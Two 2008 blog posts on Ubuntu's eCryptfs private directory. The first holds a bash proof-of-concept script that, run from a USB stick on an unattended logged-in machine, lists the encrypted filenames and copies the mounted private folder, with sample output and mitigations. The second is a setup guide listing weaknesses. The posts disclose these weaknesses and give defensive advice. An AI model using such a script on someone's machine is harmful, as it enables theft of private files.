Proof of concept: Attacking eCrypt Private Directories 6 November, 2008Posted by aronzak in Linux, Ubuntu, security, Encryption.
Tags: Linux, Ubuntu, security, ubuntu intrepid, intrepid ibex, ecrypt, ecryptfs, cryptography, computer security
In the new version of Ubuntu, Intrepid Ibex, users have the option of setting up a private encrypted directory in their home folder. For convenience, this uses pam to mount it without the need to set and remember a password. This is convenient, and makes cryptography accessible to the non tech savvy, however, convenience is usually at the detriment of security, and this seems to be no exception.
Placing your files in an encrypted home directory can defeat attempts to access the files from other users and live users (with root privileges). It does, however, mark these files out as of interest. Additionally, while the files themselves are encrypted, the file names are not masked, and can be read by a user with sufficient privileges, possible giving an indication of the contents..
Thus, it is possible to simply copy the whole folder off the system if it is left open. That means that if an adversary manages to get physical access to your machine while you are logged in, (even when you are not logged in, if they have your password) they can quickly plug in a usb stick and execute the following script on it. The following is a proof of concept for an attack to copy off the list of file names of the private directory, and if mounted, steal the contents.
#!/bin/bash # eCrypt Proof of Concept # Version 0.9 beta # Aronzak (aronzak.wordpress.com) echo "Aronzak's eCrypt attack Proof of Concept Beta" date=`date +%F` dir=`pwd` user=`whoami` mkdir -p $dir/attack/ mkdir -p $dir/attack/manifest echo "Username:" > $dir/attack/manifest/$date echo $user >> $dir/attack/manifest/$date echo "Manifest:" >> $dir/attack/manifest/$date echo -n "Taking manifest: " echo $dir/attack/manifest/$date find ~/.Private >> $dir/attack/manifest/$date echo -n "Checking if directory is mounted: " check=`ls -l ~/Private| grep -c "THIS DIRECTORY HAS BEEN UNMOUNTED TO PROTECT YOUR DATA -- Run mount.ecryptfs_private to mount again -> /sbin/mount.ecryptfs_private"` if [ $check = "1" ]; then echo "Foiled once more!" echo "Directory was not mounted." >> $dir/attack/manifest/$date fi if [ $check = "0" ]; then echo "Victory is assured!" echo -n "Calculating size of directory: " du -hs ~/Private >> $dir/attack/manifest/$date size=`cat $dir/attack/manifest/$date | tail -n 1 | cut -f 1` echo $size gsize=`cat $dir/attack/manifest/$date | tail -n 1 | cut -f 1 | grep -c G` if [ $gsize = "1" ]; then echo "Warning: This is larger than a gigabyte." fi echo "Press Ctrl+C to abort: " read -s input echo -n "Copying: " mkdir -p $dir/attack/$date/ cp -r ~/Private $dir/attack/$date/ echo "Done" fi
And this is the expected output if not mounted:
Aronzak's eCrypt attack Proof of Concept Beta Taking manifest: /home/aronzak/attack/manifest/2008-11-06 Checking if directory is mounted: Foiled once more!
And if mounted:
Taking manifest: /home/aronzak/attack/manifest/2008-11-06 Checking if directory is mounted: Victory is assured! Calculating size of directory: *****(omitted) Press Ctrl+C to abort: Copying: Done
So, this should be able to copy files from one user’s home directory straight to a usb stick. A warning will be given if the files are over one gigabyte.
There are two precautions to avoid this. One is to create ‘junk’ files that take up more than a gigabyte of space. That will make it harder to copy the contents to a usb stick, as it will make it slower, and many usb sticks will not have the space.
The other is to set up eCrypt to use a real password (rather than using a generated one with pam) or upgrade to a stronger system, like truecrypt. It seems that the time honoured approach difficulty of choosing, remembering and typing a sufficiently complicated password pays off when it comes to the security benefit. Also, this gives you access to your files regardless of OS.
Finally, if you are someone that has or intends to write a guide about how to set up eCryptfs-tools, please make it clear that the system is not fully secure.
Encrypted home directory 2 November, 2008Posted by aronzak in Linux, Ubuntu, Encryption.
Tags: Ubuntu, ubuntu intrepid, intrepid ibex, ecrypt, Encryption, privacy, plausible deniability
1 comment so far
By default all users can see all of you’re home directory contents. There’s a new utility that’s bundled with Ubuntu Intrepid called ecryptfs that can create a private directory. Bear in mind that this is by no means perfect, Here’s how to use it.
apt-get install ecryptfs-utils
You’ll need to provide your user password and a password to remember, I recommend against using a generated password (unless you write it down… )
Where x is your passphrase. This puts the passphrase in the process IDs, where someone else can read id. Another way;
printf ‘x’ | ecryptfs-add-passphrase
is also insecure, as it will save the passphrase in your bash history. The safest way is to pass a ‘-’;
Then you can enter your password on the next line (without it being recorded in .bash_history)
Once your passphrase is entered, use ecryptfs-mount-private
Be careful, this is not as secure as you may think. Some more warnings and mitigations;
- All of the filenames of the private directory are readable in ~/.Private even when it is not mounted. File permissions make the directory only readible to the user, but someone could get access whenever the user is logged in. If an adversary has your password, even if you lock your graphical server, they could log in to a shell (Ctrl+Alt+F<1-6>) or a secure shell (ssh) (if you are running an ssh server) and read the contents of the private directory. They could also use a live session (CD/DVD/usb stick) Thus, someone may be able to guess what is in your private directory.
- Putting files in an encrypted directory immediately marks them out as of interest. I suggest leaving ‘junk’ files that you wouldn’t mind an adversary finding (plausible deniability) and maybe some largeish files (to make it harder to quickly copy out the entire directory)
- If you leave the private folder mounted, an adversary could get access with your user password, without your encryption passphrase. Be careful if you are running a secure shell (ssh) server. Bear in mind that even if you lock your graphical server, someone could log in to a shell (Ctrl+Alt+F<1-6>) and then get access to your files.
- Using ecryptfs-umount-private to unmount the private directory still leaves the password stored.
I’d be happy to hear other workarounds for some of these issues.